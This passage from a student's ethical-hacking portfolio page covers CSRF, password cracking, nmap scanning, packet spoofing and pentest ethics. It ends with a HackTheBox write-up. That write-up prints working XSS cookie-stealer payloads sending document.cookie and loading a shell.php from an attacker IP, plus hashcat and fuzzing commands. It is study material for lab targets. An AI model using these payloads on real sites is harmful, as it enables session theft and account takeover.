alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = 